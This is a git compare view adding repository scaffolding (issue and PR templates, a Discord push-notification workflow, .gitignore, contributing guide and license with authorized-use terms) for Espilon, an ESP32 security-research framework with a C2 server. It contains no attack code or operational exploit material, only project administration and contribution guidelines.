Compare commits
No commits in common. "29658270ae8765e5647119da280acb440b220771" and "920e8ec0bd298203b47a1fd3d90de25540ac791f" have entirely different histories.
29658270ae
...
920e8ec0bd
12
.github/CODEOWNERS
vendored
Normal file
12
.github/CODEOWNERS
vendored
Normal file
@ -0,0 +1,12 @@
|
||||
# Default owner for all files
|
||||
* @Eun0us
|
||||
|
||||
# ESP32 firmware
|
||||
espilon_bot/ @Eun0us
|
||||
|
||||
# C3PO server
|
||||
tools/C3PO/ @Eun0us
|
||||
|
||||
# Tools
|
||||
tools/deploy.py @Eun0us
|
||||
tools/espmon/ @Eun0us
|
||||
43
.github/ISSUE_TEMPLATE/bug_report.md
vendored
Normal file
43
.github/ISSUE_TEMPLATE/bug_report.md
vendored
Normal file
@ -0,0 +1,43 @@
|
||||
---
|
||||
name: Bug Report
|
||||
about: Report a bug in Espilon
|
||||
title: "[BUG] "
|
||||
labels: bug
|
||||
assignees: Eun0us
|
||||
---
|
||||
|
||||
## Description
|
||||
|
||||
A clear description of the bug.
|
||||
|
||||
## Steps to Reproduce
|
||||
|
||||
1. ...
|
||||
2. ...
|
||||
3. ...
|
||||
|
||||
## Expected Behavior
|
||||
|
||||
What should happen.
|
||||
|
||||
## Actual Behavior
|
||||
|
||||
What happens instead.
|
||||
|
||||
## Environment
|
||||
|
||||
- **Target**: ESP32 / ESP32-C3 / ESP32-S3
|
||||
- **ESP-IDF version**: v5.x
|
||||
- **Module(s) affected**: mod_xxx
|
||||
- **C3PO version**: (if applicable)
|
||||
- **OS**: Linux / macOS / Windows
|
||||
|
||||
## Logs
|
||||
|
||||
```
|
||||
Paste relevant logs here.
|
||||
```
|
||||
|
||||
## Additional Context
|
||||
|
||||
Any other context (screenshots, config, etc).
|
||||
28
.github/ISSUE_TEMPLATE/feature_request.md
vendored
Normal file
28
.github/ISSUE_TEMPLATE/feature_request.md
vendored
Normal file
@ -0,0 +1,28 @@
|
||||
---
|
||||
name: Feature Request
|
||||
about: Suggest a new feature or module for Espilon
|
||||
title: "[FEAT] "
|
||||
labels: enhancement
|
||||
assignees: Eun0us
|
||||
---
|
||||
|
||||
## Description
|
||||
|
||||
What feature or module would you like?
|
||||
|
||||
## Use Case
|
||||
|
||||
Why is this needed? What problem does it solve?
|
||||
|
||||
## Hardware Requirements
|
||||
|
||||
- **Required hardware**: (e.g., MCP2515 for CAN bus, none for software-only)
|
||||
- **Target chip**: ESP32 / ESP32-C3 / ESP32-S3
|
||||
|
||||
## Proposed Implementation
|
||||
|
||||
If you have an idea of how it should work, describe it here.
|
||||
|
||||
## Additional Context
|
||||
|
||||
Any references, links, or documentation.
|
||||
22
.github/pull_request_template.md
vendored
Normal file
22
.github/pull_request_template.md
vendored
Normal file
@ -0,0 +1,22 @@
|
||||
## Summary
|
||||
|
||||
Describe what this PR does and why.
|
||||
|
||||
## Changes
|
||||
|
||||
- ...
|
||||
- ...
|
||||
|
||||
## Checklist
|
||||
|
||||
- [ ] Build tested locally (`idf.py build`)
|
||||
- [ ] New module guarded with `#ifdef CONFIG_MODULE_XXX`
|
||||
- [ ] Kconfig entries added (if new module)
|
||||
- [ ] Module registered in `bot-lwip.c` (if new module)
|
||||
- [ ] C3PO routes added (if new commands)
|
||||
- [ ] Documentation updated
|
||||
- [ ] No hardcoded credentials or secrets
|
||||
|
||||
## Breaking Changes
|
||||
|
||||
List any breaking changes (command renames, protobuf schema changes, etc), or "None".
|
||||
53
.github/workflows/discord-notify.yml
vendored
Normal file
53
.github/workflows/discord-notify.yml
vendored
Normal file
@ -0,0 +1,53 @@
|
||||
name: Discord Push Notification
|
||||
|
||||
on:
|
||||
push:
|
||||
branches: ['**']
|
||||
|
||||
jobs:
|
||||
notify:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Send Discord notification
|
||||
env:
|
||||
DISCORD_WEBHOOK: ${{ secrets.DISCORD_WEBHOOK_URL }}
|
||||
COMMIT_MSG: ${{ github.event.head_commit.message }}
|
||||
run: |
|
||||
BRANCH="${GITHUB_REF#refs/heads/}"
|
||||
REPO="${{ github.repository }}"
|
||||
AUTHOR="${{ github.event.head_commit.author.username }}"
|
||||
COMMIT_SHA="${{ github.sha }}"
|
||||
SHORT_SHA="${COMMIT_SHA:0:7}"
|
||||
COMMIT_URL="${{ github.event.head_commit.url }}"
|
||||
COMPARE_URL="${{ github.event.compare }}"
|
||||
COMMIT_COUNT="${{ github.event.size }}"
|
||||
TIMESTAMP="$(date -u +%Y-%m-%dT%H:%M:%S.000Z)"
|
||||
|
||||
# Truncate commit message for embed
|
||||
FIRST_LINE=$(echo "$COMMIT_MSG" | head -n1 | cut -c1-256)
|
||||
|
||||
curl -s -o /dev/null -w "%{http_code}" -H "Content-Type: application/json" \
|
||||
-X POST "$DISCORD_WEBHOOK" \
|
||||
-d @- <<EOF
|
||||
{
|
||||
"embeds": [{
|
||||
"title": "Push on \`${BRANCH}\`",
|
||||
"url": "${COMPARE_URL}",
|
||||
"color": 16312092,
|
||||
"author": {
|
||||
"name": "${AUTHOR}",
|
||||
"url": "https://github.com/${AUTHOR}",
|
||||
"icon_url": "https://github.com/${AUTHOR}.png"
|
||||
},
|
||||
"description": "[\`${SHORT_SHA}\`](${COMMIT_URL}) ${FIRST_LINE}",
|
||||
"fields": [
|
||||
{ "name": "Repository", "value": "[${REPO}](https://github.com/${REPO})", "inline": true },
|
||||
{ "name": "Branch", "value": "\`${BRANCH}\`", "inline": true }
|
||||
],
|
||||
"timestamp": "${TIMESTAMP}",
|
||||
"footer": {
|
||||
"text": "GitHub Push"
|
||||
}
|
||||
}]
|
||||
}
|
||||
EOF
|
||||
125
.gitignore
vendored
Normal file
125
.gitignore
vendored
Normal file
@ -0,0 +1,125 @@
|
||||
# ESP-IDF Build System
|
||||
espilon_bot/build/
|
||||
espilon_bot/sdkconfig
|
||||
espilon_bot/sdkconfig.old
|
||||
espilon_bot/sdkconfig.defaults
|
||||
espilon_bot/.config
|
||||
espilon_bot/.config.old
|
||||
|
||||
# Managed Components (downloaded dependencies)
|
||||
espilon_bot/managed_components/
|
||||
espilon_bot/dependencies.lock
|
||||
|
||||
# Firmware binaries
|
||||
espilon_bot/firmware/
|
||||
*.bin
|
||||
*.elf
|
||||
*.map
|
||||
|
||||
# Python
|
||||
__pycache__/
|
||||
*.py[cod]
|
||||
*$py.class
|
||||
*.so
|
||||
.Python
|
||||
*.egg-info/
|
||||
dist/
|
||||
build/
|
||||
venv/
|
||||
env/
|
||||
ENV/
|
||||
.venv
|
||||
|
||||
# Tools - Python dependencies
|
||||
tools/C3PO/__pycache__/
|
||||
*.pyc
|
||||
|
||||
# Configuration files with secrets
|
||||
tools/C3PO/config.json
|
||||
tools/deploy.json
|
||||
**/config.local.json
|
||||
|
||||
# C3PO runtime / secrets
|
||||
tools/C3PO/keys.json
|
||||
tools/C3PO/*.db
|
||||
tools/C3PO/data/
|
||||
|
||||
# Honeypot runtime databases (can appear anywhere)
|
||||
honeypot_events.db
|
||||
honeypot_events.db-shm
|
||||
honeypot_events.db-wal
|
||||
honeypot_alerts.db
|
||||
honeypot_geo.db
|
||||
*.db-shm
|
||||
*.db-wal
|
||||
|
||||
# Logs
|
||||
*.log
|
||||
logs/
|
||||
espilon_bot/logs/
|
||||
sdkconfig
|
||||
|
||||
# C2 Runtime files (camera streams, recordings)
|
||||
tools/C3PO/static/streams/*.jpg
|
||||
tools/C3PO/static/recordings/*.avi
|
||||
*.avi
|
||||
|
||||
# IDE and Editor
|
||||
.vscode/
|
||||
!.vscode/settings.json
|
||||
!.vscode/tasks.json
|
||||
!.vscode/launch.json
|
||||
!.vscode/extensions.json
|
||||
.idea/
|
||||
*.swp
|
||||
*.swo
|
||||
*~
|
||||
.DS_Store
|
||||
|
||||
# OS
|
||||
Thumbs.db
|
||||
.DS_Store
|
||||
*.bak
|
||||
|
||||
# Credentials and Secrets
|
||||
*.pem
|
||||
*.key
|
||||
*.crt
|
||||
*.p12
|
||||
secrets/
|
||||
credentials/
|
||||
.env
|
||||
.env.local
|
||||
|
||||
# Temporary files
|
||||
*.tmp
|
||||
*.temp
|
||||
.cache/
|
||||
|
||||
# Documentation build
|
||||
docs/_build/
|
||||
docs/.doctrees/
|
||||
site/
|
||||
|
||||
# Test coverage
|
||||
.coverage
|
||||
htmlcov/
|
||||
.pytest_cache/
|
||||
|
||||
# nanoPB generated files (if you want to regenerate them)
|
||||
# Uncomment if you want to track generated .pb.c/.pb.h files
|
||||
# espilon_bot/components/core/nanoPB/*.pb.c
|
||||
# espilon_bot/components/core/nanoPB/*.pb.h
|
||||
|
||||
# Backup files
|
||||
*.backup
|
||||
*_backup
|
||||
|
||||
# Internal planning
|
||||
plan.md
|
||||
*.plan.md
|
||||
MODULE_IDEAS.md
|
||||
|
||||
# Hardware-specific configs (optional)
|
||||
# Uncomment if you don't want to track these
|
||||
# espilon_bot/partitions.csv
|
||||
648
CONTRIBUTING.md
Normal file
648
CONTRIBUTING.md
Normal file
@ -0,0 +1,648 @@
|
||||
# Contributing to Espilon
|
||||
|
||||
Thank you for your interest in contributing to Espilon! This document provides guidelines and instructions for contributing to the project.
|
||||
|
||||
---
|
||||
|
||||
## Table of Contents
|
||||
|
||||
- [Code of Conduct](#code-of-conduct)
|
||||
- [How Can I Contribute?](#how-can-i-contribute)
|
||||
- [Development Setup](#development-setup)
|
||||
- [Coding Standards](#coding-standards)
|
||||
- [Commit Guidelines](#commit-guidelines)
|
||||
- [Pull Request Process](#pull-request-process)
|
||||
- [Security Contributions](#security-contributions)
|
||||
- [Community](#community)
|
||||
|
||||
---
|
||||
|
||||
## Code of Conduct
|
||||
|
||||
### Our Standards
|
||||
|
||||
- **Be respectful**: Treat everyone with respect and kindness
|
||||
- **Be collaborative**: Work together to improve the project
|
||||
- **Be responsible**: This is a security tool - use it ethically
|
||||
- **Be professional**: Maintain professional communication
|
||||
- **Be patient**: Help newcomers learn and grow
|
||||
|
||||
### Unacceptable Behavior
|
||||
|
||||
- Harassment, discrimination, or offensive comments
|
||||
- Sharing malicious code or exploits for illegal purposes
|
||||
- Unauthorized testing against third-party systems
|
||||
- Trolling, insulting, or derogatory comments
|
||||
- Publishing others' private information
|
||||
|
||||
**Violations**: Please report to project maintainers. Serious violations may result in being banned from the project.
|
||||
|
||||
---
|
||||
|
||||
## How Can I Contribute?
|
||||
|
||||
### Reporting Bugs
|
||||
|
||||
**Before submitting a bug report**:
|
||||
1. Check the [documentation](docs/) for common issues
|
||||
2. Search [existing issues](https://github.com/yourusername/epsilon/issues) to avoid duplicates
|
||||
3. Try to reproduce with the latest version
|
||||
|
||||
**Good bug reports include**:
|
||||
- Clear, descriptive title
|
||||
- Steps to reproduce the issue
|
||||
- Expected vs actual behavior
|
||||
- ESP32 variant and board type
|
||||
- ESP-IDF version
|
||||
- Configuration (`sdkconfig` relevant parts)
|
||||
- Serial output/logs
|
||||
- Screenshots (if applicable)
|
||||
|
||||
**Bug Report Template**:
|
||||
```markdown
|
||||
## Description
|
||||
[Clear description of the bug]
|
||||
|
||||
## Steps to Reproduce
|
||||
1. Configure device with...
|
||||
2. Execute command...
|
||||
3. Observe error...
|
||||
|
||||
## Expected Behavior
|
||||
[What should happen]
|
||||
|
||||
## Actual Behavior
|
||||
[What actually happens]
|
||||
|
||||
## Environment
|
||||
- ESP32 Variant: ESP32/ESP32-S2/ESP32-S3/etc.
|
||||
- Board: DevKit/ESP32-CAM/Custom
|
||||
- ESP-IDF Version: v5.3.2
|
||||
- Espilon Version: commit hash or version
|
||||
|
||||
## Logs
|
||||
```
|
||||
[Paste relevant logs here]
|
||||
```
|
||||
|
||||
## Additional Context
|
||||
[Any other relevant information]
|
||||
```
|
||||
|
||||
### Suggesting Features
|
||||
|
||||
**Feature requests should**:
|
||||
- Have a clear use case
|
||||
- Align with project goals (security research/education)
|
||||
- Consider resource constraints (ESP32 limitations)
|
||||
- Include implementation ideas (if possible)
|
||||
|
||||
**Feature Request Template**:
|
||||
```markdown
|
||||
## Feature Description
|
||||
[Clear description of the proposed feature]
|
||||
|
||||
## Use Case
|
||||
[Why is this feature needed? What problem does it solve?]
|
||||
|
||||
## Proposed Implementation
|
||||
[How could this be implemented? Consider:]
|
||||
- Memory requirements
|
||||
- CPU usage
|
||||
- Network bandwidth
|
||||
- Module structure
|
||||
- Configuration options
|
||||
|
||||
## Alternatives Considered
|
||||
[Other approaches you've thought about]
|
||||
|
||||
## Additional Context
|
||||
[Mockups, examples, references]
|
||||
```
|
||||
|
||||
### Contributing Code
|
||||
|
||||
**Types of contributions welcome**:
|
||||
|
||||
- Bug fixes
|
||||
- New modules or commands
|
||||
- Documentation improvements
|
||||
- Code quality improvements (refactoring, optimization)
|
||||
- Tests and test infrastructure
|
||||
- Security enhancements
|
||||
- Translations
|
||||
- Tool improvements (C2, deploy, etc.)
|
||||
|
||||
**Getting started**:
|
||||
|
||||
1. Fork the repository
|
||||
2. Create a feature branch
|
||||
3. Make your changes
|
||||
4. Test thoroughly
|
||||
5. Submit a pull request
|
||||
|
||||
---
|
||||
|
||||
## Development Setup
|
||||
|
||||
### Prerequisites
|
||||
|
||||
- ESP-IDF v5.3.2 or compatible
|
||||
- Python 3.8+
|
||||
- Git
|
||||
- ESP32 development board (for testing)
|
||||
|
||||
### Fork and Clone
|
||||
|
||||
```bash
|
||||
# Fork repository on GitHub, then:
|
||||
git clone https://github.com/YOUR-USERNAME/epsilon.git
|
||||
cd epsilon
|
||||
|
||||
# Add upstream remote
|
||||
git remote add upstream https://github.com/original-owner/epsilon.git
|
||||
```
|
||||
|
||||
### Set Up Development Environment
|
||||
|
||||
```bash
|
||||
# Install ESP-IDF
|
||||
cd ~/esp
|
||||
git clone --recursive --branch v5.3.2 https://github.com/espressif/esp-idf.git
|
||||
cd esp-idf
|
||||
./install.sh esp32
|
||||
. ./export.sh
|
||||
|
||||
# Install Python dependencies (for C2)
|
||||
cd /path/to/epsilon/tools/c2
|
||||
pip3 install -r requirements.txt
|
||||
```
|
||||
|
||||
### Create Feature Branch
|
||||
|
||||
```bash
|
||||
# Update your fork
|
||||
git checkout main
|
||||
git pull upstream main
|
||||
|
||||
# Create feature branch
|
||||
git checkout -b feature/your-feature-name
|
||||
```
|
||||
|
||||
**Branch naming conventions**:
|
||||
- `feature/feature-name` - New features
|
||||
- `fix/bug-description` - Bug fixes
|
||||
- `docs/topic` - Documentation updates
|
||||
- `refactor/component-name` - Code refactoring
|
||||
- `test/test-description` - Test additions
|
||||
|
||||
---
|
||||
|
||||
## Coding Standards
|
||||
|
||||
### C Code (ESP32 Firmware)
|
||||
|
||||
**Style Guide**:
|
||||
- **Indentation**: 4 spaces (NO tabs)
|
||||
- **Braces**: K&R style (opening brace on same line)
|
||||
- **Naming**:
|
||||
- Functions: `snake_case` (e.g., `process_command`)
|
||||
- Variables: `snake_case` (e.g., `device_id`)
|
||||
- Constants: `UPPER_SNAKE_CASE` (e.g., `MAX_BUFFER_SIZE`)
|
||||
- Macros: `UPPER_SNAKE_CASE`
|
||||
- Structs: `snake_case_t` (e.g., `command_t`)
|
||||
|
||||
**Example**:
|
||||
```c
|
||||
#include "esp_log.h"
|
||||
#include "utils.h"
|
||||
|
||||
#define TAG "MODULE"
|
||||
#define MAX_RETRIES 3
|
||||
|
||||
typedef struct {
|
||||
char name[32];
|
||||
int value;
|
||||
} config_t;
|
||||
|
||||
static int process_data(const uint8_t *data, size_t len)
|
||||
{
|
||||
if (data == NULL || len == 0) {
|
||||
ESP_LOGE(TAG, "Invalid parameters");
|
||||
return -1;
|
||||
}
|
||||
|
||||
for (size_t i = 0; i < len; i++) {
|
||||
// Process data
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
**Best Practices**:
|
||||
- Use ESP_LOG* macros for logging (not printf)
|
||||
- Check return values and handle errors
|
||||
- Free allocated memory (no leaks)
|
||||
- Use const for read-only parameters
|
||||
- Validate input parameters
|
||||
- Document complex logic with comments
|
||||
- Keep functions small and focused
|
||||
- No global mutable state (use static or pass context)
|
||||
- No magic numbers (use named constants)
|
||||
- No commented-out code (use git history)
|
||||
|
||||
### Python Code (C2 Server)
|
||||
|
||||
**Style Guide**: [PEP 8](https://pep8.org/)
|
||||
- **Indentation**: 4 spaces
|
||||
- **Line length**: 100 characters max
|
||||
- **Naming**:
|
||||
- Functions: `snake_case`
|
||||
- Classes: `PascalCase`
|
||||
- Constants: `UPPER_SNAKE_CASE`
|
||||
- Private: `_leading_underscore`
|
||||
|
||||
**Example**:
|
||||
```python
|
||||
import logging
|
||||
from typing import List, Optional
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
class DeviceManager:
|
||||
"""Manages connected ESP32 devices."""
|
||||
|
||||
def __init__(self):
|
||||
self._devices = {}
|
||||
|
||||
def add_device(self, device_id: str, connection) -> None:
|
||||
"""Add a new device to the registry."""
|
||||
if not device_id:
|
||||
raise ValueError("device_id cannot be empty")
|
||||
|
||||
self._devices[device_id] = connection
|
||||
logger.info(f"Device added: {device_id}")
|
||||
|
||||
def get_device(self, device_id: str) -> Optional[object]:
|
||||
"""Retrieve device by ID."""
|
||||
return self._devices.get(device_id)
|
||||
```
|
||||
|
||||
**Best Practices**:
|
||||
- Type hints for function signatures
|
||||
- Docstrings for classes and public functions
|
||||
- Use logging module (not print statements)
|
||||
- Handle exceptions appropriately
|
||||
- Use context managers (`with` statements)
|
||||
- Run `black` for formatting
|
||||
- Run `flake8` for linting
|
||||
|
||||
**Tools**:
|
||||
```bash
|
||||
# Format code
|
||||
black tools/c2/
|
||||
|
||||
# Check style
|
||||
flake8 tools/c2/
|
||||
|
||||
# Type checking
|
||||
mypy tools/c2/
|
||||
```
|
||||
|
||||
### Documentation
|
||||
|
||||
**Markdown Style**:
|
||||
- Use ATX-style headers (`#`, `##`, `###`)
|
||||
- Code blocks with language specifiers
|
||||
- Tables for structured data
|
||||
- Lists for sequential or unordered items
|
||||
|
||||
**Code Comments**:
|
||||
- Explain **why**, not **what** (code shows what)
|
||||
- Keep comments up-to-date with code
|
||||
- Use TODO/FIXME/NOTE for temporary notes
|
||||
- Remove obsolete comments
|
||||
|
||||
---
|
||||
|
||||
## Branch Workflow
|
||||
|
||||
### Branch Structure
|
||||
|
||||
- `main` — stable releases only, protected (no direct push)
|
||||
- `ε-dev` — main development branch
|
||||
- `feat/xxx` — feature branches (e.g., `feat/mod-ble`)
|
||||
- `fix/xxx` — bug fix branches (e.g., `fix/crypto-leak`)
|
||||
|
||||
### Workflow
|
||||
|
||||
1. Create a feature branch from `main`: `git checkout -b feat/mod-ble main`
|
||||
2. Develop and commit on your branch
|
||||
3. Open a Pull Request to `main`
|
||||
4. Merge after review / validation
|
||||
|
||||
### Rules
|
||||
|
||||
- Never push directly to `main`
|
||||
- Feature branches are deleted after merge
|
||||
- Keep branches short-lived (one feature per branch)
|
||||
|
||||
---
|
||||
|
||||
## Commit Guidelines
|
||||
|
||||
### Commit Message Format
|
||||
|
||||
All commits use the `ε -` prefix:
|
||||
|
||||
```
|
||||
ε - Short description of the change
|
||||
```
|
||||
|
||||
For multi-line commits:
|
||||
|
||||
```
|
||||
ε - Short description
|
||||
|
||||
Longer explanation of what changed and why.
|
||||
Reference issues with Closes #123 or Fixes #456.
|
||||
```
|
||||
|
||||
**Examples**:
|
||||
|
||||
```
|
||||
ε - Add BLE scanner module
|
||||
|
||||
Implements mod_ble with passive scanning, device tracking,
|
||||
and beacon spoofing. Uses built-in ESP32 BLE controller.
|
||||
|
||||
Closes #42
|
||||
```
|
||||
|
||||
```
|
||||
ε - Fix memory leak in crypto module
|
||||
```
|
||||
|
||||
```
|
||||
ε - Update README for v0.3.0
|
||||
```
|
||||
|
||||
**Rules**:
|
||||
- Always start with `ε - `
|
||||
- Subject: imperative mood ("Add" not "Added")
|
||||
- Subject: 50 characters or less (after prefix)
|
||||
- Body: explain what and why (not how)
|
||||
- Footer: reference issues (Closes #123, Fixes #456)
|
||||
|
||||
---
|
||||
|
||||
## Pull Request Process
|
||||
|
||||
### Before Submitting
|
||||
|
||||
**Checklist**:
|
||||
- [ ] Code follows style guide
|
||||
- [ ] All tests pass (if applicable)
|
||||
- [ ] New code has comments
|
||||
- [ ] Documentation updated (if needed)
|
||||
- [ ] Commit messages follow guidelines
|
||||
- [ ] Branch is up-to-date with upstream main
|
||||
- [ ] No merge conflicts
|
||||
- [ ] Tested on actual hardware (for firmware changes)
|
||||
|
||||
### Testing
|
||||
|
||||
**For firmware changes**:
|
||||
```bash
|
||||
cd espilon_bot
|
||||
idf.py build
|
||||
idf.py flash
|
||||
idf.py monitor
|
||||
# Verify functionality
|
||||
```
|
||||
|
||||
**For C2 changes**:
|
||||
```bash
|
||||
cd tools/c2
|
||||
python3 c3po.py
|
||||
# Test with connected ESP32
|
||||
```
|
||||
|
||||
**For module changes**:
|
||||
- Test all commands in the module
|
||||
- Test error cases (invalid args, hardware failures, etc.)
|
||||
- Test under different conditions (weak WiFi, GPRS, etc.)
|
||||
|
||||
### Submitting Pull Request
|
||||
|
||||
1. **Push to your fork**:
|
||||
```bash
|
||||
git push origin feature/your-feature-name
|
||||
```
|
||||
|
||||
2. **Create PR on GitHub**:
|
||||
- Go to your fork on GitHub
|
||||
- Click "Compare & pull request"
|
||||
- Fill out the PR template
|
||||
|
||||
3. **PR Description Template**:
|
||||
```markdown
|
||||
## Description
|
||||
[Clear description of changes]
|
||||
|
||||
## Motivation
|
||||
[Why is this change needed?]
|
||||
|
||||
## Changes Made
|
||||
- [ ] Added feature X
|
||||
- [ ] Fixed bug Y
|
||||
- [ ] Updated documentation Z
|
||||
|
||||
## Testing
|
||||
[How was this tested?]
|
||||
- [ ] Tested on ESP32 DevKit
|
||||
- [ ] Tested with C2 server
|
||||
- [ ] Tested error cases
|
||||
|
||||
## Screenshots/Logs
|
||||
[If applicable]
|
||||
|
||||
## Breaking Changes
|
||||
[List any breaking changes, or write "None"]
|
||||
|
||||
## Checklist
|
||||
- [ ] Code follows style guide
|
||||
- [ ] Tests pass
|
||||
- [ ] Documentation updated
|
||||
- [ ] Tested on hardware
|
||||
|
||||
## Related Issues
|
||||
Closes #123
|
||||
Fixes #456
|
||||
```
|
||||
|
||||
### Review Process
|
||||
|
||||
**What to expect**:
|
||||
1. Maintainer reviews your code (usually within 1 week)
|
||||
2. Feedback and requested changes (if any)
|
||||
3. You address feedback and update PR
|
||||
4. Maintainer approves and merges
|
||||
|
||||
**Responding to feedback**:
|
||||
- Be open to suggestions
|
||||
- Ask questions if unclear
|
||||
- Make requested changes in new commits (don't force-push)
|
||||
- Mark conversations as resolved
|
||||
|
||||
---
|
||||
|
||||
## Security Contributions
|
||||
|
||||
### Reporting Security Vulnerabilities
|
||||
|
||||
**DO NOT open public issues for security vulnerabilities**
|
||||
|
||||
Instead:
|
||||
1. Email: [security@epsilon-project.org] (to be set up)
|
||||
2. Include:
|
||||
- Description of vulnerability
|
||||
- Steps to reproduce
|
||||
- Potential impact
|
||||
- Suggested fix (if any)
|
||||
3. Wait for acknowledgment (48 hours)
|
||||
4. Work with maintainers on responsible disclosure
|
||||
|
||||
### Security Enhancements
|
||||
|
||||
Security improvements are highly valued:
|
||||
- Cryptography enhancements (ChaCha20-Poly1305, TLS, etc.)
|
||||
- Input validation improvements
|
||||
- Memory safety improvements
|
||||
- Secure defaults
|
||||
|
||||
**Guidelines**:
|
||||
- Clearly document security implications
|
||||
- Consider backward compatibility
|
||||
- Provide migration guide if breaking changes
|
||||
- Reference security standards (OWASP, NIST, etc.)
|
||||
|
||||
### Ethical Use
|
||||
|
||||
**All contributions must**:
|
||||
- Promote responsible security research
|
||||
- Include appropriate warnings for sensitive features
|
||||
- Not enable or encourage malicious use
|
||||
- Comply with responsible disclosure principles
|
||||
|
||||
---
|
||||
|
||||
## Community
|
||||
|
||||
### Communication Channels
|
||||
|
||||
- **GitHub Issues**: Bug reports, feature requests
|
||||
- **GitHub Discussions**: Questions, ideas, general discussion
|
||||
- **Pull Requests**: Code contributions
|
||||
- **Discord**: [To be set up] Real-time chat
|
||||
|
||||
### Getting Help
|
||||
|
||||
**Resources**:
|
||||
1. Read the [documentation](docs/)
|
||||
2. Search [existing issues](https://github.com/yourusername/epsilon/issues)
|
||||
3. Check [discussions](https://github.com/yourusername/epsilon/discussions)
|
||||
4. Ask in Discord (for quick questions)
|
||||
5. Open a new issue (for bugs or feature requests)
|
||||
|
||||
**When asking for help**:
|
||||
- Provide context and details
|
||||
- Show what you've already tried
|
||||
- Include relevant logs or screenshots
|
||||
- Be patient and respectful
|
||||
|
||||
### Recognition
|
||||
|
||||
Contributors will be:
|
||||
- Listed in project AUTHORS file
|
||||
- Mentioned in release notes (for significant contributions)
|
||||
- Credited in documentation (where appropriate)
|
||||
|
||||
---
|
||||
|
||||
## Development Resources
|
||||
|
||||
### Useful Links
|
||||
|
||||
**ESP-IDF**:
|
||||
- [ESP-IDF Documentation](https://docs.espressif.com/projects/esp-idf/)
|
||||
- [API Reference](https://docs.espressif.com/projects/esp-idf/en/latest/esp32/api-reference/index.html)
|
||||
- [ESP32 Forums](https://esp32.com/)
|
||||
|
||||
**Protocol Buffers**:
|
||||
- [Protocol Buffers Guide](https://protobuf.dev/)
|
||||
- [nanoPB Documentation](https://jpa.kapsi.fi/nanopb/)
|
||||
|
||||
**Cryptography**:
|
||||
- [mbedTLS Documentation](https://mbed-tls.readthedocs.io/)
|
||||
- [ChaCha20 RFC 8439](https://tools.ietf.org/html/rfc8439)
|
||||
|
||||
**Security**:
|
||||
- [OWASP IoT Top 10](https://owasp.org/www-project-internet-of-things/)
|
||||
- [NIST Cybersecurity Framework](https://www.nist.gov/cyberframework)
|
||||
|
||||
### Project Structure
|
||||
|
||||
```
|
||||
epsilon/
|
||||
├── espilon_bot/ # ESP32 firmware
|
||||
│ ├── components/ # Modular components
|
||||
│ │ ├── core/ # Core functionality
|
||||
│ │ ├── mod_system/ # System module
|
||||
│ │ ├── mod_network/ # Network + Tunnel module
|
||||
│ │ ├── mod_fakeAP/ # FakeAP module
|
||||
│ │ ├── mod_recon/ # Recon module
|
||||
│ │ ├── mod_redteam/ # Red Team module
|
||||
│ │ ├── mod_honeypot/ # Honeypot module
|
||||
│ │ ├── mod_canbus/ # CAN Bus module
|
||||
│ │ ├── mod_fallback/ # Fallback connectivity
|
||||
│ │ └── mod_ota/ # OTA updates
|
||||
│ └── main/ # Main application
|
||||
├── tools/ # Supporting tools
|
||||
│ ├── C3PO/ # C2 server (Python)
|
||||
│ ├── deploy.py # Unified build, provision & flash
|
||||
│ └── nanoPB/ # Protobuf definitions
|
||||
├── docs/ # Documentation
|
||||
│ ├── INSTALL.md
|
||||
│ ├── HARDWARE.md
|
||||
│ ├── MODULES.md
|
||||
│ ├── PROTOCOL.md
|
||||
│ └── SECURITY.md
|
||||
├── README.md # Main README (English)
|
||||
├── README.fr.md # French README
|
||||
├── LICENSE # MIT License
|
||||
└── CONTRIBUTING.md # This file
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## License
|
||||
|
||||
By contributing to Espilon, you agree that your contributions will be licensed under the [MIT License](LICENSE) with the same additional terms for security research tools.
|
||||
|
||||
---
|
||||
|
||||
## Questions?
|
||||
|
||||
If you have questions about contributing, please:
|
||||
1. Check this guide first
|
||||
2. Search existing discussions
|
||||
3. Open a new discussion on GitHub
|
||||
4. Ask in Discord (when available)
|
||||
|
||||
**Thank you for contributing to Espilon! 🚀**
|
||||
|
||||
---
|
||||
|
||||
**Last Updated**: 2025-12-26
|
||||
61
LICENSE
Normal file
61
LICENSE
Normal file
@ -0,0 +1,61 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Epsilon Project Contributors
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
|
||||
---
|
||||
|
||||
ADDITIONAL TERMS FOR SECURITY RESEARCH TOOLS
|
||||
|
||||
This software is a security research and educational tool. By using this
|
||||
software, you agree to the following additional terms:
|
||||
|
||||
1. AUTHORIZED USE ONLY: This software must only be used for authorized
|
||||
security testing, research, education, or other lawful purposes. You must
|
||||
have explicit permission to test any systems, networks, or devices that
|
||||
you do not own.
|
||||
|
||||
2. NO MALICIOUS USE: You may not use this software for any malicious,
|
||||
harmful, or illegal activities, including but not limited to: unauthorized
|
||||
access to systems, denial of service attacks, privacy violations, or any
|
||||
activity that violates local, state, national, or international laws.
|
||||
|
||||
3. USER RESPONSIBILITY: You are solely responsible for your use of this
|
||||
software and any consequences thereof. The authors and contributors
|
||||
assume no liability for misuse, damages, or legal issues arising from
|
||||
the use of this software.
|
||||
|
||||
